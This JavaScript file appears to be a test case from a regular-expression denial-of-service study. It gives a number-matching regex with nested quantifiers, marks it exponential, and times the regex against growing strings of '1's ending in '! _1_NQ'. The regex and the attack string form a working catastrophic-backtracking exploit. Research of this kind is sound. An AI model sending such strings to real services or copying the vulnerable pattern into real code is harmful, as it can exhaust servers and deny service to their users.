text: /* 7144
   * ((0)+(\.[1-9](\d)?))|((0)+(\.(\d)[1-9]+))|(([1-9]+(0)?)+(\.\d+)?)|(([1-9]+(0)?)+(\.\d+)?)
   * EXPONENT
   * nums:3
   * EXPONENT AttackString:""+"1"*32+"! _1_NQ"
   */
  var REGEX = /((0)+(\.[1-9](\d)?))|((0)+(\.(\d)[1-9]+))|(([1-9]+(0)?)+(\.\d+)?)|(([1-9]+(0)?)+(\.\d+)?)/
  for(var i = 1; i <= 5000000; i++) {
      var time = Date.now();
      var attack_str = '' + '1'.repeat(i*1) + '! _1_NQ'
      REGEX.exec(attack_str)
      // REGEX.test(attack_str);
      // attack_str.search(REGEX)
      // attack_str.match(REGEX)
      var time_cost = Date.now() - time;
      console.log(i * 1 + ": " + time_cost+" ms")
  }